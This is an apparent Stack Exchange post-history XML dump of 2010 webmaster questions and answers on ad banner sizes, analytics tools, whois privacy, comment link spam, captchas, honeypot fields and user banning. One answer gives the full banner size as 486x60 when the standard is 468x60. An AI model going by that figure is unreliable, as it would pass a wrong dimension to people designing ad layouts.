  <row Id="1285" PostHistoryTypeId="2" PostId="698" RevisionGUID="ac42ee8a-a620-45fb-80cb-c3454efe20c4" CreationDate="2010-07-12T06:21:28.880" UserId="138" Text="I'm designing a new site and for the first time I want to incorporate 3rd party advertising. I haven't chosen an advertising partner yet.&#xD;&#xA;&#xD;&#xA;Are there standard banner sizes I should be designing for?" />
  <row Id="1286" PostHistoryTypeId="1" PostId="698" RevisionGUID="ac42ee8a-a620-45fb-80cb-c3454efe20c4" CreationDate="2010-07-12T06:21:28.880" UserId="138" Text="Are there standard advertising banner sizes?" />
  <row Id="1287" PostHistoryTypeId="3" PostId="698" RevisionGUID="ac42ee8a-a620-45fb-80cb-c3454efe20c4" CreationDate="2010-07-12T06:21:28.880" UserId="138" Text="&lt;advertising&gt;&lt;banners&gt;" />
  <row Id="1288" PostHistoryTypeId="2" PostId="699" RevisionGUID="072a3050-48fd-4c6a-b749-80790b403a90" CreationDate="2010-07-12T06:25:07.703" UserId="138" Text="Most advertising agencies stick to a pseudo-standard for banner sizes.&#xD;&#xA;&#xD;&#xA;[You can find them here][1]. In case that link ever goes dead, the most common in use are (in px):&#xD;&#xA;&#xD;&#xA;- 486x60 (Full Banner)&#xD;&#xA;- 397x72 (Navigation)&#xD;&#xA;- 120x240 (Vertical Banner)&#xD;&#xA;- 120x90 (Button)&#xD;&#xA;- 120x60 (Button)&#xD;&#xA;- 88x31 (Micro Button)&#xD;&#xA;- 234x60 (Half Banner)&#xD;&#xA;- 160x600 (Vertical Tower)&#xD;&#xA;- 125x125 (Square)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.iab.net/iab_products_and_industry_services/508676/508767/Ad_Unit" />
  <row Id="1289" PostHistoryTypeId="2" PostId="700" RevisionGUID="07cb1fdb-50af-49a2-9485-fb82b79b212d" CreationDate="2010-07-12T07:55:16.367" UserId="182" Text="Where does google webmaster tools get all it's data from? Is it paired with google analytics etc or is it purely crawlers and searches it display?" />
  <row Id="1290" PostHistoryTypeId="1" PostId="700" RevisionGUID="07cb1fdb-50af-49a2-9485-fb82b79b212d" CreationDate="2010-07-12T07:55:16.367" UserId="182" Text="What is the source of google webmaster tools' data?" />
  <row Id="1291" PostHistoryTypeId="3" PostId="700" RevisionGUID="07cb1fdb-50af-49a2-9485-fb82b79b212d" CreationDate="2010-07-12T07:55:16.367" UserId="182" Text="&lt;google&gt;&lt;webmaster-tools&gt;" />
  <row Id="1292" PostHistoryTypeId="2" PostId="701" RevisionGUID="871036de-2c23-467a-8cb6-d14e7d9f93d0" CreationDate="2010-07-12T08:21:50.143" UserId="191" Text="It's pulled directly from crawls and searches and may contain different information compared to google analytics. You can read more information in the [Google Webmaster Tools FAQ][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35769" />
  <row Id="1293" PostHistoryTypeId="2" PostId="702" RevisionGUID="d0681f42-0830-4d6f-9417-b1a392466f9d" CreationDate="2010-07-12T08:53:30.317" UserId="231" Text="One of them is Shaun Inman's [Mint][1].&#xD;&#xA;&#xD;&#xA;Then:&#xD;&#xA;&#xD;&#xA; 1. [VisiStat][2]&#xD;&#xA; 2. [SiteCatalyst][3]&#xD;&#xA; 3. [Webtrends][4]&#xD;&#xA; 4. [AWStats][5]&#xD;&#xA; 5. [ClickTraks][6]&#xD;&#xA; 6. [Coradiant][7]&#xD;&#xA; 7. [Unica][8]&#xD;&#xA; 8. [pMetrics][9]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://haveamint.com/&#xD;&#xA;  [2]: http://www.visistat.com/&#xD;&#xA;  [3]: http://www.omniture.com/en/products/online_analytics/sitecatalyst&#xD;&#xA;  [4]: http://www.webtrends.com/Products/Analytics&#xD;&#xA;  [5]: http://awstats.sourceforge.net/&#xD;&#xA;  [6]: http://www.lyris.com/solutions/lyris-hq/web-analytics/&#xD;&#xA;  [7]: http://www.coradiant.com/products/analytics_in_a_box.htm&#xD;&#xA;  [8]: http://www.unica.com/products/enterprise-web-analytics.htm&#xD;&#xA;  [9]: http://pmetrics.performancing.com/" />
  <row Id="1294" PostHistoryTypeId="2" PostId="703" RevisionGUID="44503630-6d50-453b-9854-9fbde33acf56" CreationDate="2010-07-12T08:55:26.160" UserDisplayName="delete" Text="[Analog][1] is another solution. Unfortunately it has not been updated since 2005 though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.analog.cx/" />
  <row Id="1295" PostHistoryTypeId="16" PostId="703" RevisionGUID="44503630-6d50-453b-9854-9fbde33acf56" CreationDate="2010-07-12T08:55:26.160" UserDisplayName="delete" />
  <row Id="1296" PostHistoryTypeId="5" PostId="702" RevisionGUID="75f4cf74-3e2f-461a-84cf-0ef77cd0f953" CreationDate="2010-07-12T08:58:57.603" UserId="231" Comment="added 400 characters in body" Text="One of them is Shaun Inman's [Mint][1].&#xD;&#xA;&#xD;&#xA;Then:&#xD;&#xA;&#xD;&#xA; 1. [VisiStat][2]&#xD;&#xA; 2. [SiteCatalyst][3]&#xD;&#xA; 3. [Webtrends][4]&#xD;&#xA; 4. [AWStats][5]&#xD;&#xA; 5. [ClickTraks][6]&#xD;&#xA; 6. [Coradiant][7]&#xD;&#xA; 7. [Unica][8]&#xD;&#xA; 8. [pMetrics][9]&#xD;&#xA; 9. [Clicky][10]&#xD;&#xA; 10. [iWebTrack][11]&#xD;&#xA; 11. [OneStat][12]&#xD;&#xA; 12. [MetaTraffic][13]&#xD;&#xA; 13. [Metronome][14]&#xD;&#xA; 14. [Clicktale][15]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://haveamint.com/&#xD;&#xA;  [2]: http://www.visistat.com/&#xD;&#xA;  [3]: http://www.omniture.com/en/products/online_analytics/sitecatalyst&#xD;&#xA;  [4]: http://www.webtrends.com/Products/Analytics&#xD;&#xA;  [5]: http://awstats.sourceforge.net/&#xD;&#xA;  [6]: http://www.lyris.com/solutions/lyris-hq/web-analytics/&#xD;&#xA;  [7]: http://www.coradiant.com/products/analytics_in_a_box.htm&#xD;&#xA;  [8]: http://www.unica.com/products/enterprise-web-analytics.htm&#xD;&#xA;  [9]: http://pmetrics.performancing.com/&#xD;&#xA;  [10]: http://www.getclicky.com/&#xD;&#xA;  [11]: http://www.iwebtrack.com/reports.asp&#xD;&#xA;  [12]: http://www.onestat.com/html/services.html&#xD;&#xA;  [13]: http://www.metasun.com/products/metatraffic/features.asp&#xD;&#xA;  [14]: http://www.metronomelabs.com/&#xD;&#xA;  [15]: http://www.clicktale.com/" />
  <row Id="1297" PostHistoryTypeId="2" PostId="704" RevisionGUID="f31092bb-01d2-44c1-b51a-6f2a129745fc" CreationDate="2010-07-12T09:37:36.133" UserId="182" Text="Is it possible to hide ownership of a domain, so i won't show up on whois searches for domains I own, even if you know where to look?" />
  <row Id="1298" PostHistoryTypeId="1" PostId="704" RevisionGUID="f31092bb-01d2-44c1-b51a-6f2a129745fc" CreationDate="2010-07-12T09:37:36.133" UserId="182" Text="How can I hide whois information?" />
  <row Id="1299" PostHistoryTypeId="3" PostId="704" RevisionGUID="f31092bb-01d2-44c1-b51a-6f2a129745fc" CreationDate="2010-07-12T09:37:36.133" UserId="182" Text="&lt;domains&gt;&lt;whois&gt;&lt;ownership&gt;" />
  <row Id="1300" PostHistoryTypeId="2" PostId="705" RevisionGUID="4e0ac001-66bf-4db6-b11c-560b3c37473f" CreationDate="2010-07-12T10:20:25.237" UserId="130" Text="Most domain registries require whois information to be publicly available, at least where the domain name is used commercially. The exact rules will depend on the TLD of the domain, and possibly who it was registered with.&#xD;&#xA;&#xD;&#xA;Another option is to use on of the &quot;private registration&quot; services that will set themselves up as the owner/contact in whois, and will act as an intemediary for any communications, giving you effective privacy." />
  <row Id="1301" PostHistoryTypeId="2" PostId="706" RevisionGUID="8b091b6e-1514-47bf-b322-24374c22abf4" CreationDate="2010-07-12T10:24:50.973" UserId="130" Text="I have experienced this myself. When searching for a client's preferred domain name (an unusual one, unlikely to be of interest to anyone else), the domain was available, then 10 minutes later, unavailable! I found an alternative domain, but had to wait the 2 years until the original domain' registration expired before I could claim it for my client.&#xD;&#xA;&#xD;&#xA;Instead of using a registrar's search tools, use one of the independent tools out there on the internet. Good examples are http://whois.domaintools.com/ and http://www.whois.net/. &#xD;&#xA;&#xD;&#xA;You can also check whois directly using the `whois` command on Linux (or similar)." />
  <row Id="1302" PostHistoryTypeId="2" PostId="707" RevisionGUID="9a7c9237-93fe-4ced-8e83-1ece090ee3ae" CreationDate="2010-07-12T10:35:59.217" UserId="102" Text="I've noticed over the past few days someone has been entering text like the following into my comment fields :&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.distritofederal.df.gov.br/003/00301009.asp?ttCD_CHAVE=101732&amp;lorcet&quot;&gt;lorcet&lt;/a&gt;  &#xD;&#xA;    unendurable imperfections &lt;a href=&quot;http://www.distritofederal.df.gov.br/003/00301009.asp?ttCD_CHAVE=101746&quot;&gt;phentermine side effects&lt;/a&gt; &#xD;&#xA;    eolith acidimeter &#xD;&#xA;&#xD;&#xA;What is this person trying to acheive, and is there anything I need to do to ensure they don't do anything malicious through my text entry fields?" />
  <row Id="1303" PostHistoryTypeId="1" PostId="707" RevisionGUID="9a7c9237-93fe-4ced-8e83-1ece090ee3ae" CreationDate="2010-07-12T10:35:59.217" UserId="102" Text="Keeping your text entry fields secure" />
  <row Id="1304" PostHistoryTypeId="3" PostId="707" RevisionGUID="9a7c9237-93fe-4ced-8e83-1ece090ee3ae" CreationDate="2010-07-12T10:35:59.217" UserId="102" Text="&lt;security&gt;" />
  <row Id="1305" PostHistoryTypeId="2" PostId="708" RevisionGUID="697c9509-3a4d-42f8-84fe-65090190af78" CreationDate="2010-07-12T10:37:09.683" UserId="130" Text="It looks like this subject was [raised in the blogosphere][1] around 5 years ago, but nothing appears to have come of it. It may well be worth exploring the idea again, but I have no idea if the sheer size of the problem would make it unmanageable.&#xD;&#xA;&#xD;&#xA;  [1]: http://underscorebleach.net/jotsheet/2005/01/referrer-spam-proposal#mt-blacklist" />
  <row Id="1306" PostHistoryTypeId="2" PostId="709" RevisionGUID="73835670-062d-4114-87a6-830b9c4ec396" CreationDate="2010-07-12T10:40:36.387" UserId="130" Text="I can only think that this is enticing people to follow a link that includes some kind of exploit in the query string. I don't see anything that looks like an exploit in the example posted in your question though." />
  <row Id="1307" PostHistoryTypeId="5" PostId="709" RevisionGUID="618b18c2-8faa-4bfd-a78b-80362feb16e9" CreationDate="2010-07-12T11:01:16.483" UserId="130" Comment="added 188 characters in body" Text="One possibility is that this is enticing people to follow a link that includes some kind of exploit in the query string. I don't see anything that looks like an exploit in the example posted in your question though.&#xD;&#xA;&#xD;&#xA;Another possibility is that the server that is being linked to has been compromised and is now being used by the spammer to host sites of which the server's operator may not approve." />
  <row Id="1308" PostHistoryTypeId="2" PostId="710" RevisionGUID="13850d56-3e79-4cc5-9d41-8605a6997df8" CreationDate="2010-07-12T11:05:25.087" UserDisplayName="delete" Text="That's just link spam.&#xD;&#xA;&#xD;&#xA;What they are trying to achieve is to get a lot of links to their website.&#xD;&#xA;&#xD;&#xA;That helps them with their search engine optimization.&#xD;&#xA;&#xD;&#xA;Looks like they have a nice &quot;random word generator&quot;.&#xD;&#xA;" />
  <row Id="1309" PostHistoryTypeId="2" PostId="711" RevisionGUID="cb67f614-21f6-4e01-bc09-a82bdad782c9" CreationDate="2010-07-12T11:13:22.983" UserId="218" Text="They get links to their site, which is good for ranking high in the search engines.&#xD;&#xA;&#xD;&#xA;And additionally they gain exposure, since visitors of your site might follow these links..&#xD;&#xA;&#xD;&#xA;As @mark mentioned, it could very well be of malicious intend if the linked site is '*bad*'&#xD;&#xA;&#xD;&#xA;More important is to make sure that your site does not allow in the comments all types of tags. If you do, then someone could post a comment with a `&lt;script&gt;` tag that could load some malicious code to the browser of your sites visitors, and it would seem like you are the responsible party.. and your visitors would be exposed .." />
  <row Id="1310" PostHistoryTypeId="5" PostId="707" RevisionGUID="cd918587-7444-4052-b170-50d4b20ef7ec" CreationDate="2010-07-12T11:19:56.687" UserId="102" Comment="added 189 characters in body" Text="I've noticed over the past few days someone has been entering text like the following into my comment fields :&#xD;&#xA;&#xD;&#xA;    &lt;a href=&quot;http://www.distritofederal.df.gov.br/003/00301009.asp?ttCD_CHAVE=101732&amp;lorcet&quot;&gt;lorcet&lt;/a&gt;  &#xD;&#xA;    unendurable imperfections &lt;a href=&quot;http://www.distritofederal.df.gov.br/003/00301009.asp?ttCD_CHAVE=101746&quot;&gt;phentermine side effects&lt;/a&gt; &#xD;&#xA;    eolith acidimeter &#xD;&#xA;&#xD;&#xA;What is this person trying to acheive, and is there anything I need to do to ensure they don't do anything malicious through my text entry fields?&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;It looks like this site belongs to the Brazlian government. Other sites that have been linked don't even exist. Hence I am a bit skeptical that this is just link spamming.. " />
  <row Id="1311" PostHistoryTypeId="2" PostId="712" RevisionGUID="51dccbc4-e9c7-4941-b683-4d550a679c8b" CreationDate="2010-07-12T11:22:20.240" UserId="82" Text="We used [Elance.com][1] as George mentioned, [CraigsList][2] and [ODesk][3] are also options.  If you have a college nearby, see if you can pick up an intern or two.  [AfterCollege][4] is a site for posting that type of job.  [Dice][5], [Monster][6], or your local paper.&#xD;&#xA;&#xD;&#xA;The main thing we learned was to get several and do small test projects first.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://elance.com/&#xD;&#xA;  [2]: http://craigslist.org/&#xD;&#xA;  [3]: http://www.odesk.com/&#xD;&#xA;  [4]: http://www.aftercollege.com/&#xD;&#xA;  [5]: http://www.dice.com/&#xD;&#xA;  [6]: http://www.monster.com/" />
  <row Id="1312" PostHistoryTypeId="5" PostId="710" RevisionGUID="ff5ee754-e054-4776-8918-040a72d3ff13" CreationDate="2010-07-12T11:53:07.427" UserDisplayName="delete" Comment="added 77 characters in body" Text="That's just link spam.&#xD;&#xA;&#xD;&#xA;What they are trying to achieve is to get a lot of links to their website.&#xD;&#xA;&#xD;&#xA;That helps them with their search engine optimization.&#xD;&#xA;&#xD;&#xA;Looks like they have a nice &quot;random word generator&quot;.&#xD;&#xA;&#xD;&#xA;EDIT&#xD;&#xA;&#xD;&#xA;Maybe they're testing out their new link spamming machine on you.&#xD;&#xA;" />
  <row Id="1313" PostHistoryTypeId="2" PostId="713" RevisionGUID="ad29aebd-9936-466a-8269-f56a628dc02f" CreationDate="2010-07-12T11:55:41.523" UserDisplayName="delete" Text="I don't know of any way to retrospectively hide yourself once you've put the information out there. I registered domains through a registrar who automatically puts their own address in there for you instead of revealing your address. There are several registrars like this.&#xD;&#xA;" />
  <row Id="1314" PostHistoryTypeId="2" PostId="714" RevisionGUID="ed3cde10-f973-4e4c-8524-3f5562cce510" CreationDate="2010-07-12T12:26:12.773" UserId="191" Text="[Captcha2][1] is another alternative. It works by clicking three letters following instructions on screen. Not sure how this stands up to internationalisation. It's also not free after the first 1000 impressions. If you're after something a little more light hearted then [KittenAuth][2] is interesting - click 3 kittens to continue. Finally, to see how captchas are standing up to automated cracking take a look at the [PWNtcha][3] site. It has an open source solution for cracking captchas along with details on the toughest types. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://captcha2.com/&#xD;&#xA;  [2]: http://thepcspy.com/kittenauthtest/&#xD;&#xA;  [3]: http://caca.zoy.org/wiki/PWNtcha" />
  <row Id="1315" PostHistoryTypeId="2" PostId="715" RevisionGUID="a6457df8-1359-4184-b68e-d33a5ca722fe" CreationDate="2010-07-12T12:37:01.923" UserId="82" Text="I am building a shopping site and want to know if building true MicroSites, with multiple target pages has any advantage over a series of landing pages.  Would I suffer from any type of link dilution if I push out a series of target sites rather than one overarching one, or will I get better rankings by being focused?" />
  <row Id="1316" PostHistoryTypeId="1" PostId="715" RevisionGUID="a6457df8-1359-4184-b68e-d33a5ca722fe" CreationDate="2010-07-12T12:37:01.923" UserId="82" Text="Are true MicroSites worth the increased effort over pure Landing pages?" />
  <row Id="1317" PostHistoryTypeId="3" PostId="715" RevisionGUID="a6457df8-1359-4184-b68e-d33a5ca722fe" CreationDate="2010-07-12T12:37:01.923" UserId="82" Text="&lt;seo&gt;&lt;landing-page&gt;&lt;microsite&gt;" />
  <row Id="1318" PostHistoryTypeId="2" PostId="716" RevisionGUID="033a4449-41dc-42fa-8c70-7c644f040c66" CreationDate="2010-07-12T12:37:11.237" UserId="43" Text="I would strongly encourage you to follow the advice in Derek Sivers' article [How to hire a programmer to make your ideas happen][1].  Most of his advice can be applied to hiring a freelance copywriter.  The most important part (IMO) is to start with a small part of the project and hire multiple writers, then choose the best among those to finish the project.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://sivers.org/how2hire" />
  <row Id="1319" PostHistoryTypeId="2" PostId="717" RevisionGUID="c4148a73-fac1-4b29-a6fc-f69fd506afb8" CreationDate="2010-07-12T12:57:56.063" UserId="130" Text="There are practical ways around the problem of supporting this decrepit old browser. The two major compatibility headaches are Javascript support and CSS support. &#xD;&#xA;&#xD;&#xA;**Javascript** support can be remedied through the use of libraries such as [jQuery][1]. This will allow code to work cross-platform (even if it runs a lot more slowly) and means that only one group (the jQuery authors) have to worry about making it work. Everyone else gets to benefit from their work.&#xD;&#xA;&#xD;&#xA;**CSS** support can be remedied through the use of a CSS framework such as [Blueprint][2]. CSS frameworks are not universally popular, but if you need something to &quot;just work&quot; and you aren't too fussed about including some rather obscure class names in your HTML, they speed up cross-browser development and remove all the guesswork. &#xD;&#xA;&#xD;&#xA;As much as I believe that people should be discouraged from using IE6 as far as possible, I like just being able to not worry about it. Instead, I can move on to the next problem or project.&#xD;&#xA;&#xD;&#xA;  [1]: http://jquery.com/&#xD;&#xA;  [2]: http://www.blueprintcss.org/" />
  <row Id="1320" PostHistoryTypeId="2" PostId="718" RevisionGUID="88aa5b2d-164a-4f7f-a7af-4ae8c17c2544" CreationDate="2010-07-12T13:40:25.030" UserId="108" Text="I think there are advantages to both. The company I work for create what they call MiniSites.  They are simply branded Domains and SubDomains.  So our main site might be widgets.com and we have MiniSites like foo.widgets.com, bar.widgets.com and foobarwidgets.com.&#xD;&#xA;&#xD;&#xA;The benefit of the MicroSites is that you can own and control multiple domains that point links to your domain, you can brand the MicroSites so that match more specifically to what you are trying to promote without the overhead of using your main sites design, and you are using those extra domains that you probably already own or should own that are related to your company.  Also, you can link the MicroSites to a landing page within your main site, and just not do any advertising to the Landing pages.&#xD;&#xA;&#xD;&#xA;The biggest downside of the MicroSites is that there is now competition out there for your main site Landing Page.  What I mean is your MicroSite may not get the same level of page rank as your main site because it doesn't have the additional content and it could reduce the page rank of your main site landing page by increasing the competition.  This would be somewhat offset by the link but who knows how much.  All that means is if you only used your landing page in your site it might get ranked 4th in a specific search but with the MicroSite maybe that Landing Page becomes 6th and your Microsite is 9th.  So you lose some but gain some." />
  <row Id="1321" PostHistoryTypeId="2" PostId="719" RevisionGUID="72f1819a-248c-4196-81a5-90af439e3c44" CreationDate="2010-07-12T14:32:32.783" UserId="182" Text="Is it possible to get a free and good spam blocker for your website?&#xD;&#xA;&#xD;&#xA;I would really like to avoid having to serve CAPTCHAs to my site's users, but I don't want spam bots to be able to post links etc." />
  <row Id="1322" PostHistoryTypeId="1" PostId="719" RevisionGUID="72f1819a-248c-4196-81a5-90af439e3c44" CreationDate="2010-07-12T14:32:32.783" UserId="182" Text="Free spam blocker service." />
  <row Id="1323" PostHistoryTypeId="3" PostId="719" RevisionGUID="72f1819a-248c-4196-81a5-90af439e3c44" CreationDate="2010-07-12T14:32:32.783" UserId="182" Text="&lt;spam&gt;&lt;spam-blocker&gt;&lt;free&gt;" />
  <row Id="1324" PostHistoryTypeId="2" PostId="720" RevisionGUID="e2c8f1c3-d07c-457e-a053-14eccdf63eab" CreationDate="2010-07-12T14:48:50.547" UserId="19" Text="Suppose you have a user who is posting really offensive stuff on your website and so you ban them from your site (let's suppose your web app has a way to mark that user account as banned so they can't login again).&#xD;&#xA;&#xD;&#xA;Are there any intelligent ways to try and prevent this person from creating another account with a different username?&#xD;&#xA;&#xD;&#xA;My hunch is that are no hard and final ways to do this besides some sort biometric login device*. But I am curious to know of anything I could do to make it hard for someone to keep doing it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**And I guess that Tom Cruise has sort of [found a way around that one][1] too.*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=Spuw3qv4bbo" />
  <row Id="1325" PostHistoryTypeId="1" PostId="720" RevisionGUID="e2c8f1c3-d07c-457e-a053-14eccdf63eab" CreationDate="2010-07-12T14:48:50.547" UserId="19" Text="Is there any way to really ban people from a website?" />
  <row Id="1326" PostHistoryTypeId="3" PostId="720" RevisionGUID="e2c8f1c3-d07c-457e-a053-14eccdf63eab" CreationDate="2010-07-12T14:48:50.547" UserId="19" Text="&lt;moderation&gt;" />
  <row Id="1327" PostHistoryTypeId="2" PostId="721" RevisionGUID="57b0de10-2214-4b44-a727-3086fefb3c51" CreationDate="2010-07-12T14:58:02.067" UserId="42" Text="I'd like to go to the asynchronous Google Analytics script, but I'd rather not have it in the head (even though I know this is best practice).  &#xD;&#xA;&#xD;&#xA;So, is there any benefit of using the async code if it isn't in the head, and alternatively, would it be safe to place elsewhere high in the page, like just inside the opening body tag, or in a .NET user control that loads at the top of the page?" />
  <row Id="1328" PostHistoryTypeId="1" PostId="721" RevisionGUID="57b0de10-2214-4b44-a727-3086fefb3c51" CreationDate="2010-07-12T14:58:02.067" UserId="42" Text="Is there any benefit of Google Analytics asynchronous tracking code if it isn't placed in the &lt;head&gt;? " />
  <row Id="1329" PostHistoryTypeId="3" PostId="721" RevisionGUID="57b0de10-2214-4b44-a727-3086fefb3c51" CreationDate="2010-07-12T14:58:02.067" UserId="42" Text="&lt;google-analytics&gt;" />
  <row Id="1330" PostHistoryTypeId="2" PostId="722" RevisionGUID="454b214e-6e69-49e9-aee8-037a2a359de4" CreationDate="2010-07-12T15:02:58.873" UserId="72" Text="A good and simple honey pot technique was proposed in the question [Effective captcha solutions][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/194/effective-captcha-solutions/201#201" />
  <row Id="1331" PostHistoryTypeId="16" PostId="533" RevisionGUID="a21628e6-5f12-422c-9e24-278007dc928c" CreationDate="2010-07-12T15:08:38.640" UserId="19" />
  <row Id="1332" PostHistoryTypeId="5" PostId="533" RevisionGUID="a21628e6-5f12-422c-9e24-278007dc928c" CreationDate="2010-07-12T15:08:38.640" UserId="19" Comment="changed to community wiki" Text="I want to add the ability to send reminders to people via email and SMS for specific events that they have signed up for on a web application that I am building.  The email part is not difficult, but I am wondering where to find a good solution for sending SMS messages.&#xD;&#xA;&#xD;&#xA;It would also be a plus if this solution allowed two-way SMS communication with my web application so that people would be able to reply with a CONFIRM or CANCEL type of a message.&#xD;&#xA;&#xD;&#xA;Has anyone implemented something like this? Does anyone know of good tools out there?&#xD;&#xA;&#xD;&#xA;**EDIT:** I am realizing that this is more of a &quot;lots of ways to skin this cat&quot; type of question and so I changed it to community wiki." />
  <row Id="1333" PostHistoryTypeId="6" PostId="533" RevisionGUID="a21628e6-5f12-422c-9e24-278007dc928c" CreationDate="2010-07-12T15:08:38.640" UserId="19" Comment="changed to community wiki" Text="&lt;notification&gt;&lt;sms&gt;&lt;web-services&gt;" />
  <row Id="1334" PostHistoryTypeId="2" PostId="723" RevisionGUID="504580cf-b9df-45a1-b414-ff0d43520e56" CreationDate="2010-07-12T15:11:33.953" UserId="26" Text="I like low-tech: Doing a simple math problem works well.&#xD;&#xA;&#xD;&#xA;    Enter what 4 + 4 adds up to:&#xD;&#xA;&#xD;&#xA;Then check server-side for `8`.&#xD;&#xA;&#xD;&#xA;This is one I've used successfully on blogs using the [Math Comment Spam Protection Plugin][1].&#xD;&#xA;&#xD;&#xA;Adding an extra field to your forms like:&#xD;&#xA;&#xD;&#xA;    &lt;input name=&quot;bots_only&quot; value=&quot;&quot; style=&quot;display: none&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Usually, if `bots_only` is passed along with a value then you've got a bot. Though browsers without CSS will see that field, if you place it after your submit button it should get ignored even if it is for some reason visible.&#xD;&#xA;&#xD;&#xA;  [1]: http://sw-guide.de/wordpress/plugins/math-comment-spam-protection/&#xD;&#xA;" />
  <row Id="1335" PostHistoryTypeId="2" PostId="724" RevisionGUID="0297662c-f3e4-4250-ae3f-e4d5626d5719" CreationDate="2010-07-12T15:12:39.790" UserId="108" Text="You could block the IP Address.  I know sites like Slashdot will block your IP if you are trying to do a DOS attack.  That is more extreme and won't stop them from trying from another location or computer but it will slow them down.&#xD;&#xA;&#xD;&#xA;Also, you can give a user a cookie with a GUID in it and if you ban that user completely from your site you could make it so it looks for the GUID and blocks them based on that.&#xD;&#xA;&#xD;&#xA;The only other way to truly do it is by getting their MAC Address which I do not believe is possible on the internet without a thick client.&#xD;&#xA;&#xD;&#xA;Again, none of these methods are foolproof but there is no way to really know who is visiting your site. " />
  <row Id="1336" PostHistoryTypeId="2" PostId="725" RevisionGUID="83085978-5520-41ae-98f5-e059fa90354a" CreationDate="2010-07-12T15:16:05.720" UserId="233" Text="The best approach is to learn which invalid HTML is bad, and which invalid HTML does not matter.&#xD;&#xA;&#xD;&#xA;For example, forgetting to close a `&lt;div&gt;` tag is *very bad*, because your layout will almost certainly screw up in one or more browsers.&#xD;&#xA;&#xD;&#xA;However, using `&lt;br&gt;` instead of `&lt;br /&gt;` in XHTML does not matter - all browsers will interpret both as a line break without problems. Using the `target` attribute on links is invalid, but the worst case scenario is that the browser doesn't open the link in a new window." />
  <row Id="1337" PostHistoryTypeId="2" PostId="726" RevisionGUID="d7353f5a-83b3-478e-9669-b7f792ef3430" CreationDate="2010-07-12T15:18:17.577" UserId="152" Text="This is one of the things that has interested me for awhile, and I know that the service I am developing would greatly benefit from this.&#xD;&#xA;&#xD;&#xA;Various sites (Ning, Tumblr, Wordpress, etc) allow users to point their own domain at the site , where it is automatically configured to redirect to their own personal space within the service. &#xD;&#xA;&#xD;&#xA;What do I need to do to achieve this for my own uses? What type of environment is best optimized for this sort of functionality? And are there any serious risks I need to be aware of when attempting this?" />
  <row Id="1338" PostHistoryTypeId="1" PostId="726" RevisionGUID="d7353f5a-83b3-478e-9669-b7f792ef3430" CreationDate="2010-07-12T15:18:17.577" UserId="152" Text="How to allow custom domains from end-users?" />
  <row Id="1339" PostHistoryTypeId="3" PostId="726" RevisionGUID="d7353f5a-83b3-478e-9669-b7f792ef3430" CreationDate="2010-07-12T15:18:17.577" UserId="152" Text="&lt;dns&gt;&lt;url&gt;&lt;automation&gt;" />
  <row Id="1340" PostHistoryTypeId="2" PostId="727" RevisionGUID="31082d0c-74c5-4aeb-b60b-8effab0d9ac9" CreationDate="2010-07-12T15:18:54.083" UserId="225" Text="As others have said, page anchors are something that the browser operates on rather than the web server.  &#xD;&#xA;&#xD;&#xA;You could use some code to pass the anchor info on to your Analytics program. For example you could extract the `location.hash` value and pass it to Google Analytics as a [custom variable][1].   &#xD;&#xA;&#xD;&#xA;More usefully you could run code that checks the page html for an anchor that corresponds to the value of `location.hash` and if it's missing triggers a [GA event][2]. That would then give you a GA report on broken page anchor links as users click on them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/analytics/docs/tracking/gaTrackingCustomVariables.html&#xD;&#xA;  [2]: http://code.google.com/apis/analytics/docs/tracking/eventTrackerGuide.html" />
  <row Id="1341" PostHistoryTypeId="2" PostId="728" RevisionGUID="6c1269f8-84fb-4de4-8294-78d779cf5e69" CreationDate="2010-07-12T15:23:19.797" UserId="108" Text="I would put it in the header even if it works somewhere else.  The full instruction to add it to your web page are here - http://code.google.com/apis/analytics/docs/tracking/asyncTracking.html.&#xD;&#xA;&#xD;&#xA;Google explicitly states the tag needs to go inside of the header tag.  My concern with putting it anywhere else, even if it works now is that in the future Google could make an update that will break it and you won't be aware of it until you monitoring suddenly drops off." />
  <row Id="1342" PostHistoryTypeId="2" PostId="729" RevisionGUID="3ea681a7-5301-4e03-a951-64f517a53d40" CreationDate="2010-07-12T15:25:43.683" UserId="225" Text="Compared to having the old tracking code at the bottom of the page, having the asynchronous code at the top of the &amp;lt;body&amp;gt; should still mean that the tracking is more likely to register users who leave the page (or interact with elements on the page that are being tracked) before it has fully loaded.  &#xD;&#xA;" />
  <row Id="1343" PostHistoryTypeId="2" PostId="730" RevisionGUID="a18ad2a6-1f14-4c1e-a3d9-d3c7541013aa" CreationDate="2010-07-12T15:26:49.860" UserId="108" Text="What you are talking about is DNS management.  Those sites basically allow you to point your hosts DNS to there server and they figure out by the URL that is coming in what to host.  So what you would need to do is create a URL system that looks at a database table for the URL and returns the page content per that URL matching.&#xD;&#xA;&#xD;&#xA;In general it isn't hard to do.  You will just need to build your site to either run almost entirely off of a database or build a system to repoint the root of the folder for each specific URL to the folder that exists for it." />
